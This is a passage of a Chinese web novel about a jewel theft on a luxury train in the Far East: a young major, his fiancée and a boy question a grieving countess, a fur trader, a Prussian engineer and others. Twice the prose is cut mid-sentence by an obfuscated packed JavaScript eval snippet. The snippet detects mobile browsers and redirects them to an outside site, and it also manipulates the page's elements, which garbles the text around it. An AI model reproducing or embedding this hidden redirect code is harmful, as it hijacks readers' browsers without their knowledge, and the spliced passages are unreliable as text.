“女士,车上发生了一起盗窃案,伯爵夫人珍藏多年的首饰在包厢中遗失了。我们怀疑是有人偷偷进来拿走的,也确定了一些嫌疑人。可毕竟车上多是贵族和富商,很多人不愿意配合我们。如果可以的话,我想委托你们调查这个案子。”列车长将他的请求完整叙述了一遍,里奥尼德这才明白他的意思。 “里奥,你怎么想?反正在车上也没事干,要不要试试?”伊琳娜对这件事很感兴趣,毕竟前往海滨城的路途山高水远,找点事做也不错。 看见伊琳娜对这件事也很感兴趣,里奥尼德点点头:“那就试试?维持列车的秩序,帮助一位遇到难处的贵族,也是我的分内之事。” 这时候,萨哈良也出来加入到谈话中。 “萨哈良,刚才的话你听见了吗?”少年的听力敏锐,里奥尼德知道他肯定听到了。 萨哈良向他们点了点头,扣上了外衣最后一枚扣子。 “这就是我们的侦探团了,怎么样?”伊琳娜掐着腰,语气中还有一丝兴奋,这可是给小说采风的好机会。 列车长再次恭敬地向他们点头示意:“这样再好不过了,那我们现在到伯爵夫人的车厢,听听她怎么看吧。” 伯爵夫人所在的车厢离他们很远,倒是离餐车很近。此时列车已经行驶到了密林之中,这里空气清新,有的人斜靠在过道,打开窗子看着外面的景色。每隔十余公里就能看见树林边高高的哨塔上站着执勤的士兵,正是为了防御反抗势力的活动,偶尔也有骑兵在铁道附近巡逻。 远东当局上下都在为下个月皇帝的到来做准备。 “萨哈良,你仔细听。”鹿神提醒少年竖起耳朵,因为他们穿过车厢的时候,能隐隐听见包厢里面的人们在讨论着列车上究竟丢了什么,像是夏日耳畔的蚊虫一样嗡嗡叫。猜测的内容随着他们的步伐,也越来越离谱,因为越是靠近餐车的方向,也是最早接受乘务员询问的。 他们讨论的内容从一颗鸭蛋大小的祖母绿宝石,到远东军事基地的图纸,到最后,变成了数百公斤的黄金。 “我不是让你听那些叽叽喳喳,远处那道门后有一股悲伤的气息。”鹿神先走到了伯爵夫人的门前,指给萨哈良看。 “女士,先生,你们可以先到餐车等待,服务生会提供下午茶。”快到伯爵夫人的房间时,列车长对他们说,“因为伯爵夫人可能有些......神经衰弱。” “没事,我明白。”伊琳娜看向萨哈良,说:“我们先去喝茶吧,等一会里奥。” 说完,他们就先去餐车了。 “伯爵夫人,我们有些细节问题想询问您。”列车长轻轻敲响了房门,尤其注意说话的声响,毕竟这节车厢里的贵族哪个都不是他能得罪的。 里奥尼德还特意穿上了少校的军服,为的就是减少调查时的阻力。 “请进。” 伯爵夫人的声音低沉而沙哑,他还以为是一名体型丰满的老者。结果当列车长打开房门时,躺在椅子上的,是位瘦小的中年女人。 “夫人您好,我是里奥尼德,远东军区的少校。”里奥尼德站在门口,给伯爵夫人行了军礼。 伯爵夫人的皮肤细腻,一看就是时常保养。但此刻她正揉着自己的额头,眼底的若隐若现的青紫也表明,她确实休息不好。 “里奥......尼德......这名字我怎么有点耳熟?”伯爵夫人好奇的打量着里奥,但表情仍然有些生冷。 “我的父亲是弗拉基米尔元帅。”里奥尼德眼睛微微垂下,毕恭毕敬的为伯爵夫人自报家门。 伯爵夫人示意列车长为里奥尼德搬一把椅子,一切安排好之后,他转身离去,轻轻关上了包厢的门。 “那就难怪了,原来是勒文家的小儿子,”伯爵夫人帮里奥尼德倒上茶水,说话的语气也亲切了不少,“可我记得你不是在读大学吗?当兵的应该是你哥哥才对。” 里奥尼德听到她这么说,目光些许黯淡:“这是父亲的安排。” 伯爵夫人点点头:“我能理解,这也是贵族的宿命。” 经过这么一会儿交谈,里奥尼德发现伯爵夫人并不像她看上去那么的难以接近,反而性格温柔,兴许在她疲惫的外表下有自己的难言之隐吧。 “我听列车长说,您丢了一件首饰?”里奥尼德轻轻啜饮红茶,在世袭贵族面前可不能像和萨哈良在一起时那样放松了。 伯爵夫人坐回椅子上,她好像腰不太好,需要用枕头在身后垫着。 “是的,看来他们是把这个任务委托给你了?”听到这件事,伯爵夫人的心情又沉下去几分。 里奥尼德拿出本子和笔,说:“对,毕竟车厢里多是些达官贵人嘛......那些乘务员去问询线索的时候,总是遇到阻力。” “呵,也就是伯爵死的早,要不然......只是现在嘛,我这个夫人说话不中用。”伯爵夫人轻轻叹了口气,但里奥尼德感觉不到她对于自己丈夫去世这件事有太多的悲伤,所以也不太好继续问了。 “那您能描述一下,您丢的是什么首饰吗?”里奥尼德握紧铅笔,准备做笔记。 伯爵夫人皱起眉头,缓缓说道:“不怕你笑话,其实不是什么值钱东西,至少在帝国的拍卖行不是,那是一枚青玉貔貅的吊坠。” “貔......貔貅?”里奥尼德复述了一遍这个奇怪的发音,“如果我没记错的话......这是南方帝国神话中的动物?” “不愧是大学生,见多识广,”伯爵夫人微笑着看向他,“其实我已经有嫌疑人的人选了,今天早上的时候,有一名古董商......” 这件属于异族文化的首饰勾起了里奥尼德的好奇心,他决定先不谈嫌疑人的事,更何况,一般来说受害者指认的第一个嫌疑人总是出差错。 “不好意思打断了您,我想先问一下,您是怎么发现吊坠丢失的?” 伯爵夫人并没有因为自己的话被打断而生气,反而,她发现这位元帅家的小儿子相当有自己的脾气。因此,夫人倒是开始相信这位年轻人了,说话的语气中也多了几丝力气。 “那我就完整讲述给你听吧,我是从首都一路过来的,但是并没有选择直达海滨城,而是到黑水城呆了几天,”伯爵夫人拿起茶杯,“因为皇帝即将亲临嘛......但我想提前来先办些事情,所以先到的黑水城。” 里奥尼德能猜得到,多半是因为反抗军破坏铁路那一次才被迫停留的。 “很巧,铁路通车当天这辆女皇号就抵达了,不然就要坐那些臭烘烘的客列车了。对了,先回归正题。”伯爵夫人瞥了眼里奥尼德笔记本上的字,他的字迹清秀隽永,看着让人心平气和,“我一般会把吊坠挂在脖子上,先前,我在车上遇到了一位古董商人。” 伯爵夫人用手盖住嘴,小声的和里奥尼德说:“那位古董商还在列车里。” “那这样不就打草惊蛇了?我们是不是需要让列车长停止调查?”里奥尼德放下了笔。 “不必了,反正多半早就知道了,我接着和你说吧。那名古董商人看出来这枚青玉貔貅的价值,想从我这买走它,虽然我觉得他多半是拿我逗趣。” “那丢失时间是什么时候?”里奥尼德记录着各种细节。 “大概是从镜镇出发之后,那时候我准备去餐车吃午餐,但是突然想起没戴着吊坠——因为之前那个古董商想看,我就摘下来给他。他看过之后,因为光顾着聊天了,我就随手放进了手包里。”伯爵夫人仔细回忆着当时发生的事。 “那位古董商外貌英俊而优雅,学识更是渊博,语言风趣幽默。所以我多和他聊了一会,也是正常的,对吧?”伯爵夫人大概是想到自己可能因为他而丢失首饰,突然像小孩子一样寻求宽恕。 里奥尼德点点头,他不知道伯爵夫人为什么会有这样的反应,他也没见过古董商,谁知道他是什么样的人。 她继续说道:“等我回到包厢,想拿出吊坠戴上的时候,桌上的手包已经被打开。吊坠不见了,但别的东西都没动。” 里奥尼德将这些关键信息都写下来,然后他抬起头,面带疑惑:“其实我还想问,不知道会不会冒犯到您,您为什么会收藏一枚青玉貔貅?而且视若珍宝?” 伯爵夫人想了想:“这个......我在二十年前,经常来远东度假,你应该能懂,我知道你父亲那段时间也常来。” 里奥尼德点点头,说不准这位伯爵夫人和父亲关系曾经很好,也没准里奥还得管她叫阿姨。 “那时候伯爵他很忙,只留我一个人在庄园。所以我和这边庄园的一位女仆关系不错,嗯......也可以说是挚友。”伯爵夫人提到她口中的女仆时,眼睛也变得晶莹了,“那枚吊坠就是我送给她的礼物,也许确实值钱吧,毕竟是专门托人去南方买的,因为她告诉我,她的祖上是从南方流放过来的。” 里奥尼德停顿了一阵,他听到女仆的故事时若有所思。或许,不同文化之间的感情总是...... “那,您可以描述一下那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352576|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枚青玉貔貅的样子吗?”里奥尼德很快回到问题上,他大致有了思路,现在需要对这件失窃的首饰有大概的印象。 “我也不懂南方帝国的那些神兽,那件吊坠的样子就像......不知道你见没见过威尼斯的飞狮?和那个很像,是一枚通体青色,深邃而温润的青玉,如同一块墨绿色的油脂一样。” 伯爵夫人的描述模棱两可,里奥尼德只能凭借自己对南方帝国文化的印象,和对威尼斯飞狮的印象,臆造出一副小画,递给了夫人。 “嗯......对!差不多就这个意思,虽然看上去不像,但是神似。真没想到,你竟然这么擅长画画。”伯爵夫人真诚的夸奖着里奥尼德。 “我还有一个冒犯的问题,既然是您送给那位女仆的,那为什么......” “她死了。” 里奥尼德因为她突然的回答而停住了笔尖,他抬起看了过去。 伯爵夫人的回答太过肯定而确凿,仿佛曾经将这个消息无数次,无数次的在脑海中舔舐,以至于有人问起时已经能脱口而出了。 “她死于二十年前的那场瘟疫。”伯爵夫人的身形又在椅子上陷下去几分,回到了里奥尼德刚进屋时的状态。 “不好意思,伯爵夫人。”里奥尼德对她表示歉意,不过这些信息都被他记到了本子上。 伯爵夫人微微笑着,说:“没事的,都过去了,我现在只想拜托你们帮我找到它,这是她的遗物,对我非常重要。” “您放心,我一定尽力帮您。”里奥尼德站起身,轻轻推开房门。 “等等,我记得......索尔贝格家的女儿,是不是你的未婚妻?”伯爵夫人叫住了里奥尼德。 里奥转过头,略显尴尬的笑着说:“是的,我让她去喝下午茶了。” “真是的,怎么这么见外?下次再来的时候叫上她一起。”说完,伯爵夫人伸出有些颤巍巍的手,想拿起旁边的毯子,里奥尼德又折返回去,帮她盖在身上。 “谢谢你,你是个热心的年轻人,我准备小睡一会了。”伯爵夫人微笑着看着他。 “这是我应该做的,那窗帘要不要帮您拉上?”里奥尼德想伸出手,帮夫人拉上窗帘。 伯爵夫人摇了摇头,说:“那倒不用了,我不喜欢午睡醒来的时候屋里是黑漆漆的。” 里奥尼德最后向伯爵夫人点头示意,当他转身出去的时候,伯爵夫人的眼睛却始终跟随着,一直到他离去。 午后的餐车里人并不多,也许是人们都去午睡了,还没到下午茶的时间。又或者是大家都得知伯爵夫人丢了贵重物品,谁也不想被列为嫌疑人,索性都躲到包厢里休息了。 窗外的阳光斜照进来,伴随着列车的移动被玻璃切成跃动的光斑。镀金壁灯的光亮在白天显得微不足道,却还是为车厢里宁静典雅的气氛增添了几分。那些桌上摆着的茶杯和刀叉随着列车轻微的摇晃发出细碎的叮当声,在铺着淡绿色桌布的餐桌上,银质餐具熠熠生辉。 当然,也有些满不在乎的人享受着自己独处的时光,他们有的翻阅着当天的报纸,有的则是在看出自某位文豪的大部头作品。 里奥尼德走进餐车时,伊琳娜正在为萨哈良解释,人们是怎么把声音刻进橡胶制成的唱片,最后用留声机播放出来。因为那个像牵牛花一样的铜制机器里,正在传来优雅的钢琴曲。 “里奥!”萨哈良看见里奥尼德走过来,伸出手向他打招呼。 “我已经问完情况了,”他把笔记递给伊琳娜,又看着萨哈良,“走吧,我们边走边聊,得去找列车长。” 在前去找列车长的路上,萨哈良问道:“里奥,伯爵夫人的那间屋里......是不是发生了什么伤心的事?” 里奥尼德惊讶于少年的敏锐,刚才太过专注于线索的采集,萨哈良的话提醒了他伯爵夫人对于女仆的情感,这让里奥开始怀疑夫人好像并没有完全说出来。 “其实,我已经知道那件首饰的下落了。”鹿神得意的对萨哈良,少年向他投去了期待的眼神,但神明并不打算告诉他,“伊琳娜说得对,路途漫漫,你们得找点事做。” 列车长的办公室离餐车不远,里奥尼德很快就将伯爵夫人的情况都告诉了他们。可向那边走的时候,里奥尼德又想起了军官专列上,那位月薪只有七十多枚银币,又在交战时惨死的列车长。 里奥尼德赶紧甩了甩脑袋,将这些想法丢了出去。 “少校先生,您已经向伯爵夫人询问完情况了吗?”当他们走进来后,列车长马上示意服务生为他们倒上茶水。 作为帝国的明珠,女皇号豪华旅行专列的车长室也是豪华无比,和餐车与包厢使用了同样的装饰手法,墙壁上挂着的车长照片说明了,他们是轮班制的。 “我已经问完了,伯爵夫人指控了一名古董商,您了解他吗?”里奥尼德展开手中的笔记本,查验着上面的细节。 列车长递给他们一份乘客的人名表,上面的名字密密麻麻:“这也是我想跟您说的,根据我们排查后的结果,在当时无法给出不在场证明的,有以下几个人。” “首先是古董商,他与伯爵夫人有过直接接触,也表现过对首饰的兴趣。” “其次是一名皮草商人,他沉默寡言,但言辞闪烁,像是心里有鬼。” “然后是位修女,但......我难以和她沟通。” “最后还有一位来自普鲁士的工程师,从私人角度我最怀疑他,因为这个人傲慢又不耐烦,就差骂我们一顿了。” 列车长摊开手,看来调查这些信息确实让他们倍感压力。他把可疑的人员都说了一遍,临时“侦探团”的三个人都在各自思考着可能性。 “也就是说,您也认为古董商可能性最大?”伊琳娜盘算着列车长的话,和里奥尼德提供的信息。 列车长摇摇头:“事实上,他是最配合调查的那一个。” 47.餐车里的线索 从车长室出来时,已经是午后两点多了,餐车里的客人也多了不少,离得老远就能听到那边传来交谈声。列车长带着他们站在门后的阴影里,介绍着车厢里的人们。 “被重点怀疑的古董商目前不在餐车,坐在车厢右上角的记者好像和他关系不错,但应该是旅途中认识的,他们经常在一块聊天。”列车长四处张望着,然后小心的把嫌疑人指出来,防止被客人看见。 “这么重要的信息为什么刚才没说?”里奥尼德打量着那位记者,是个和他们年纪相仿的年轻人,头发梳得油光水滑,就像他低头撰写稿件时手指无意识的小动作,有种令人反感的油腻。 “这......因为我觉得应该不是他,”列车长又指向下一个人,“另外一个独自坐在旁边的是皮草商人,他也是个难办的家伙。” 伊琳娜格外留意这位商人,他体型肥硕,肚子都快顶到餐桌上了。他时不时从皮包里拿出几个账本互相对照,还会偷偷的看向四周,好像生怕被人发现什么一样。尤其是身上那股无利不起早的气息,让伊琳娜感觉到熟悉。 “中间位置那个,对,就是那个对着图纸皱眉头的人,他就是普鲁士工程师。” 那人一头金色的头发很难不引人注意,当列车长盯着他看的时候,工程师一心钻研图纸,就连咖啡碰倒了都不知道。旁边的服务生连忙拿来抹布,还被他恶狠狠的瞪了一眼,结果这才发现咖啡就要流到图纸上了。 这一切让这个人看起来更恼火了。 当即将说到最后一人的时候,里奥尼德的目光看向离得最近的那桌,那是一个消瘦的女人背影,她穿着修身又平整的黑色长裙。列车长示意他们往回撤了几步,一直走到看不见餐车的位置,才小声对他们说:“刚才坐在最近的那位女士,就是修女了。” 里奥尼德有些奇怪,列车长看起来相当怕她:“怎么了?你好像有点怕她?” 列车长尴尬的笑了笑,说:“倒不是害怕......只是她对于上帝的狂热让我们有些难以招架,尤其她对伯爵夫人那件饰品的评价,就不复述了,我怕让夫人知道。” 萨哈良知道列车长口中的“上帝”是罗刹人的神明,先前见过那么多神父和牧师,这还是第一次见到女性的神职人员。 少年走回去几步,那名修女确实有着不同于餐车里其他人的气质。她坐姿挺直,手中捧着一本黑色皮革包装,封皮有烫金字迹的经书。而后背几乎看不出来一点曲线,与周围那些懒洋洋的旅客格格不入,头上的发髻一丝不苟的挽入洁白的头巾里,没有一根头发散落出来。 “萨哈良,你对这位修女感兴趣吗?”里奥尼德注意到少年走开了,他也跟了过来。 萨哈良点点头,先前经历过多次几乎要命的宗教冲突,他本能的认为修女才是罪魁祸首。 “这个修女好像不是国教的......”伊琳娜看着她,她身上的修女服太过素净,剪裁又偏现代感,与帝国神职人员的肃穆和古朴不同。 “您的观察很敏锐,她应该是从波西米亚地区,也就是琥珀海西岸来的,不是正教会的修女。”列车长还是带着他们往后走了几步。 里奥尼德最后瞥了一眼,说:“那她很勇敢,在帝国境内传播罗马教会的福音可能是违法行为。” “确实,所以我猜测她应该是为海滨城那些外国教徒来的,”列车长说完,重新回到眼前的正题上,“那么,你们打算从何入手?我们可以提供力所能及的帮助。” 但里奥尼德决定暂时按兵不动,随意问询在那些体面人眼中无疑和指控无异了,所以列车长先前去其他车厢忙自己的事情。可当他穿过餐车时,原本各自交谈的旅客们突然停顿了几秒,一时间鸦雀无声,只能听到列车碾过铁轨的噪声,而一侧微微打开的窗户外传来的风声。 毕竟盗窃案和其他事情不同,旅客们作为体面人,谁也不想和这种脏兮兮的案子纠缠不清。 他们三人挑选了一个房间里最偏远的座位,打算先享用一会儿下午茶再说,顺便观察一阵子附近的那些嫌疑人。 “您好,这是车长给您准备的茶饮和甜点。” 服务生将茶壶和点心端到桌前,萨哈良听见声音,扭头看了过去。 那是一名外貌英俊的年轻人,他深亚麻色的头发恰到好处的涂上发油,拢到脑后。萨哈良抬起头,服务生的有着和里奥尼德相近的灰蓝色瞳孔,只是颜色要深了不少,像是冰湖边的碎石滩。 伊琳娜也注意到他,只有里奥尼德还在笔记上记录刚才观察到的信息。也许是因为他们都在盯着,服务生的耳朵慢慢变得绯红,那完美无瑕的仪态也出现少许的动摇。 “怎么了?”里奥尼德也发现他们的目光,这时候服务生已经到下一桌了。 那里的旅客看上去是某位贵族的夫人,她也被年轻侍者的外貌所吸引,言辞间偶尔透出轻佻的气息。但侍者明显要比刚才被萨哈良和伊琳娜盯着看时得心应手多了,一来二去将贵族夫人哄得颇为高兴,几张面额很大的钞票马上塞到了他的托盘中。 “你们没见过帅哥吗?”看着他们的眼神,鹿神站在旁边忍不住揶揄道。 鹿神的话打断了萨哈良的思路,他这才转回脑袋,拿起自己的茶杯。 “一个相当......出色的服务生,不是吗?”伊琳娜回应着里奥尼德的疑问。 但里奥尼德还是觉得奇怪:“我们见过他吗?” 伊琳娜心想,长成这样的服务生要是早就见过怎么可能记不住:“没有吧,不过这不重要了,之后再问问列车长。” 里奥尼德将笔记本推到他们面前,上面密密麻麻的做了一张思维导图:“古董商动机最明显,但呆在包厢里没出来,我们也不好去问。皮草商人看上去心虚,但似乎是为了别的事烦恼。工程师像个书呆子,脾气确实不好。修女......则是个纯粹的狂信者,我想不出来她对青玉貔貅有什么动机。看来,还是得从那个古董商入手。” “真的吗?我也出于私人角度怀疑那个修女,”萨哈良挠了挠头,他不喜欢这些神职人员,“说不定又是什么......异端审判?” “你说的倒是也有道理,也许她看见了夫人脖子上佩戴的貔貅,然后偷过来私自销毁了也说不定,虽然我觉得......有些离谱。”里奥尼德朝着远处望去,正好与修女四目相对,她礼貌的点了点头,里奥赶紧低下脑袋。 “所以这不就是我们接下来的要做的,去调查问询。”伊琳娜往茶杯里放进三颗方糖,然后用茶匙慢慢搅拌。 里奥尼德转向车窗,接着自己在玻璃上若隐若现的倒影,揪了揪脖领,又抚平制服上的皱纹,随后他站起身,说:“那我就先从商人入手了,伊琳,萨哈良,你们仔细观察他的反应,如果有人想离开餐车,想办法拦下他们。” 伊琳娜点了点头,她没想到里奥尼德的处理办法如此简明轻快,但对付商人,这似乎也是最好的办法。 那位皮草商人本就坐在车厢中无人注意的角落,他已经沉浸在眼前的账本中了,不再像先前那样四处张望,就连服务生过来给他更换茶壶时也没有过多反应。 直到里奥尼德拿起笔记本,以一副公事公办的军官姿态径直做到他的对面。 “鲍里斯......伊万诺夫先生?我是里奥尼德少校,负责调查伯爵夫人的失窃案。”里奥尼德装模作样的查验着藏在笔记本后面的旅客名单,没有寒暄直接切入正题,“例行询问,希望您配合。” 里奥尼德不容置疑的贵族军官权威让这位皮草商人突然紧张,他啪的一下合上了手中的账本。 “军......军官先生,这个失窃案我已经听说了,我只是个小生意人,何德何能敢去碰伯爵夫人的首饰?” 伊琳娜和萨哈良在座位上看见,皮草商人的额头冒出冷汗,他好像非常心虚。 “呵呵,不必这么害怕嘛,只是例行公事罢了。”里奥尼德笑着说,他拿起笔,准备向商人发问。 商人拿起手帕,擦了擦额头的汗水,又动了动他肥胖的身躯,松了松领子,想让自己看起来不那么窘迫:“那是自然,那是自然。” “鲍里斯先生,你住在几号包厢?”里奥尼德首先要搞清楚他是不是和伯爵夫人挨着。 “五号,五号车厢......”商人尴尬的笑着说。 在回答这个问题时,皮草商人偷偷用手指将桌上的账本往旁边挪了挪,伊琳娜也发现了他好像更在意这个。 “案发时间段,也就是午餐时段前后,您在什么位置?有谁能证明?”里奥尼德紧盯着他的眼睛,想看他有什么反应。 “军官,军爷,我......” “我是少校,直呼军衔就好。”里奥尼德知道,他多半是拿不出不在场证明了。 皮草商人点了点头,只是因为脖子太粗,几乎看不出来:“我那会儿在包厢里,因为忙着盘账,商人嘛......我记得那时候有个年轻的乘务员进来帮我端过咖啡,他说话时好像有些词的发音有点......算了,没准是嗓子不好。” “有乘客反映,您当时似乎非常关注伯爵夫人包厢的方向。您是在看什么?”里奥尼德回忆着军中的审讯技巧,直接提出各种问题要求他立刻回答。 商人不知道这是里奥的咋唬,只是擦着汗说:“没......没有吧......” “行了,回到正题,你提到的这位乘务员,他长什么样子?”里奥尼德把这些关键信息事无巨细的记录在本子上。 商人试图描述出来,但是失败了:“我太忙了,实在是没注意到......” “伯爵夫人丢了件什么?”里奥再次故技重施,想打他个措手不及。 “我......我不知道,我只看见好像是个绿色的东西,祖母绿?”商人向里奥尼德赔着笑容,看起来他确实不知道。 里奥尼德最后合上本子,捂住嘴凑了过去。 “我注意到您在做账,远东的皮草税可不低,听说最近税务官可是查得很紧。”他特意停顿了一会儿,等待商人消化这句话带来的恐惧,“如果您能提供一些有价值的线索,我或许可以在某些场合为您的合规经营说句话。” 皮草商人急于讨好里奥尼德,他赶快说了一个嫌疑人出来:“我注意到......那个乘务员鬼鬼祟祟,因为他好像给我送完咖啡之后,站在门口望了好一会。” “所以他长什么样子,能不能指认出来?”里奥尼德已经拿着笔记本站起身。 商人想了好一会儿,还是不知道到底是哪一个,毕竟车上的服务人员实在太多了。 “行了,这些信息我会参考吧,谢谢你的配合。” 说完,里奥尼德回到了自己的座位上,那名商人也神经兮兮的从座位里钻出来,头也不回的跑回自己的车厢了。 “里奥,我觉得不是他,”伊琳娜注意到那人的反应,“他看起来只是个做假账的商人,担心你查他的税。” 里奥尼德点点头,他也这么认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365566|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “伯爵夫人是几号车厢?”刚刚从那边经过时,萨哈良没有注意到标牌。 里奥尼德拿起茶杯,说:“三号车厢,你有什么想法吗?” “我觉得......可能需要找一下这位乘务员?”萨哈良发现他们两个人住得的确很近,说不定商人描述的那位乘务员是在关注伯爵夫人的动向。 “你说得对,确实需要找找,等调查完一圈的时候吧,”里奥尼德低头看了看手表,接着说,“列车大概一天后会抵达下一站,虽然中途也会停靠加煤,但是不允许乘客下车......也就是说我们还有不到一天时间,不然犯人可能会趁乱逃跑。” 萨哈良环顾一周,餐车里的人们已经开始注意到里奥尼德在调查失窃案了,有人微微晃动身体,试图从椅子上起身。但此时环境中陷入了一种奇怪的气氛,也许就是体面人的从众心理吧,谁也不想做第一个离开的人。 “我们今天下午的机会不多了,直接开始调查工程师吧。我相信神职人员会更急于证明自己的清白,修女可以最后交给我去问。”伊琳娜盯着那位工程师,他还在沉浸于自己的图纸中。 “嗯,和我一起去吧。” 说完,里奥尼德和伊琳娜站了起来,他们朝着工程师的位置走去。餐车里的目光纷纷向那边投去,也难怪人们都不想配合列车长的调查。 他们站到餐桌旁边,工程师半天没有抬起头。直到他终于发现旁边有人,趁着工程师愣住的片刻,从图纸中短暂离开时,里奥尼德率先开口:“打扰一下,伯格曼先生。我是里奥尼德·勒文,远东军区的少校,旁边这位是伊琳娜·索尔贝格,我们正在协助处理车上的一起失窃案,需要向每位乘客了解些情况,希望没有打断您的重要工作。” 这位名叫伯格曼的工程师倒是没有立刻表示出不耐烦,他伸出因为常年和机械与水泥打交道的粗粝手指,握了握里奥尼德的手。 “两个普鲁士裔的贵族?那是要比这儿的蛮子有礼貌多了。”工程师说完就又低头忙着自己的计算了。 听他这么说,附近的人们纷纷投来厌恶的眼神,里奥尼德只好和伊琳娜尴尬的笑了笑。 “午餐时间前后,您是否一直在餐车?有注意到什么异常吗?”伊琳娜先向工程师询问,她想这样也许能让他不那么反感。 工程师等了一会才说话,看上去确实像列车长描述的那样难以交流,尤其是他浓烈口音的帝国语影响下:“异常?最大的异常就是这辆车的隔音简直糟糕透顶!” 但好在里奥尼德和伊琳娜都精通普鲁士语,于是他们重新提问。 “我本想在这里安静工作,但隔壁包厢......要么就是天花板安装没有预留足够的虚位,事实上这里所有的木质内饰安装都有问题,春雨之后的潮湿让所有接缝的地方都在响!总之某种持续不断的摩擦声简直让人无法忍受!像是有东西在反复刮擦木头!” 切换回母语之后,工程师的话就流利多了,甚至还愿意分析这种声音来源的原因。 “那您的包厢号是?”里奥尼德看着他的图纸,倒像是海军港口的堤岸设计。 工程师头也没抬一下,说:“二号。” 里奥尼德笔尖一顿,然后快速记录下这条有价值的线索。他住在伯爵夫人旁边,也许声音来自于有人在试图撬开伯爵夫人的房门。 伊琳娜想了想,也许可以试探他的态度:“那您对伯爵夫人丢失的是一件东方玉器有什么看法吗?” 工程师对这个问题嗤之以鼻,但语气明显缓和不少:“看法?我能有什么看法?一块石头罢了。我的工作是计算混凝土应力、规划码头,这里糟糕的天气一到冬天水泥就四处裂缝。这些虚无缥缈、毫无逻辑的审美情趣,以及你们围绕它产生的戏剧性事件,纯粹是浪费时间。” 里奥尼德接着询问:“您有注意到当时有谁显得比较可疑吗?” 一提起这个,工程师的反应几乎有些暴躁了:“可疑?每个人都很可疑!那个喋喋不休的记者,那个浑身是毛的肥胖商人,还有那些......那些总是试图把一切擦得锃亮,却连咖啡都端不稳的侍者!他刚才就差点毁了我的图纸!” 里奥尼德盯着工程师袖子上的咖啡渍,心里想,明明这是你自己碰倒的。 萨哈良坐在座位上,他没有去留意工程师的话,反而始终盯着那位端庄却有些刻薄的修女。她时不时翻开经书,但里面好像夹着一张地图,因为修女用铅笔在上面做标记时,被萨哈良看到了一角的花花绿绿。 少年捂住脸,装作睡觉趴在桌子上小声对鹿神说:“你说,会不会是那个修女?” 鹿神笑了出来,他盯着远处在河边饮水的驯鹿群:“别问我,我不知道,我决定不向你们提供帮助。” 看着萨哈良不怎么满意的撅起嘴,鹿神又说道:“你看,这所谓侦探不是就像捕猎一样吗?在森林中发现踪迹,再去追猎。不要被地上的狗熊脚印吸引注意力,那不是你能对付的,你的猎物是羚羊和鹿。真相的滋味,要你们自己揭开才最甘美。” 没一会儿,他们就返回座椅上,互相交流着想法。 就当里奥尼德准备根据当前的线索,说出自己接下来的计划时,那位油头粉面的记者端着一杯酒,脸上挂着略带谄媚的职业笑容,不请自来地走到他们的桌旁。 “下午好,诸位。希望没有打扰你们的......侦探工作。”他特意在“侦探工作”上加了轻微上扬的语调,表明他一直在观察他们。 48.东方的孤儿 “这人,怎么大白天的也喝酒?” 鹿神站在一旁盯着那位油嘴滑舌的记者,不由得皱起了眉头。 春季的远东荒原没有太多值得留意的风景,要比秋天的时候差太远了。北方的天空总是浅灰色的,带着点半晴不阴的感觉,可光照却是一点不差。 再多的八卦也有聊完的时候,这里的人们望着窗外不知道多少公里未曾变换的景色发着呆。时不时随着汽笛声惊起林中的乌鸦,或者在河边觅食饮水的鹿群也抬起头来,看着这黑漆漆的钢铁怪物撕开远东的冻土,直奔遥远的海滨。 但拿着酒杯站起身的记者再一次吸引了人们的注意力。也许是因为记者的职业病导致的,从餐车里其他旅客的眼神中也能看出来,这个人多半是把周围这些能说得上话的,都打扰了一遍。 “我是维克多·舍甫琴科,远东路边社的特约记者,我早早就注意你们了。”记者一点都不见外,直接坐到了萨哈良旁边,还把他往里挤了挤。 里奥尼德和伊琳娜面面相觑,他们谁也没听说过这种民间小报,如同路边一条野狗。 “舍甫琴科先生,这是私人事务,恐怕不便与媒体讨论。”里奥尼德立刻对他产生了戒备和厌恶,毕竟对这名记者的第一印象就不好。 记者丝毫没有因为里奥的反应而退缩,反而更凑近了一点,再次拿起酒杯向里奥致敬,然后说道:“哦?是吗?但我看,似乎你们对那位杜邦先生很感兴趣。” 他很擅长勾起人的好奇心,里奥尼德还是不得不多说两句:“杜邦?你指的是谁?” “您知道我说的是谁,凑巧,我和他聊过几次。一个非常......有趣的人,”记者掩住嘴,神秘的对他们说,“他对远东文物的了解深得吓人,而且他的商业网络,据我所知,可不仅仅局限于收藏。” 会是他吗?记者的话让里奥尼德想起他自黑水城至今一直以来的疑问,但又不好直说。 就在他们交谈的时候,修女抱着她的经书,走路还带着风,一眨眼就离开了餐车。 趁着里奥愣神的功夫,记者继续说话了:“还有刚刚路过的虔诚姐妹......你们不觉得她出现在这列开往远东的豪华列车上,本身就很有新闻点吗?” 他一边说话,一边做出像是什么爆炸了的手势。 “你是什么意思?”伊琳娜同样不喜欢这个说话语焉不详的人,她干脆直接问记者的来意。 记者笑了笑,靠在椅背上翘起了二郎腿:“能有什么意思?这可是帝国用来对标东方快车的旅行专列,欧洲有优美的景色,可远东有什么?” 他指着窗外那些青黄不接的景色,远东也以一眼望不到边的密林回应他口中的无聊:“看看这无趣的景色,一个罗马教会的修女,不畏帝国的宗教法令,要去感化谁呢?” “这人说话怎么这么欠揍?”鹿神死死盯着记者,他好像突然感觉到哪里不适,摸了摸自己的后脖颈。 “所以你说的这些,和我们有什么关系?”里奥尼德决心不给他面子。 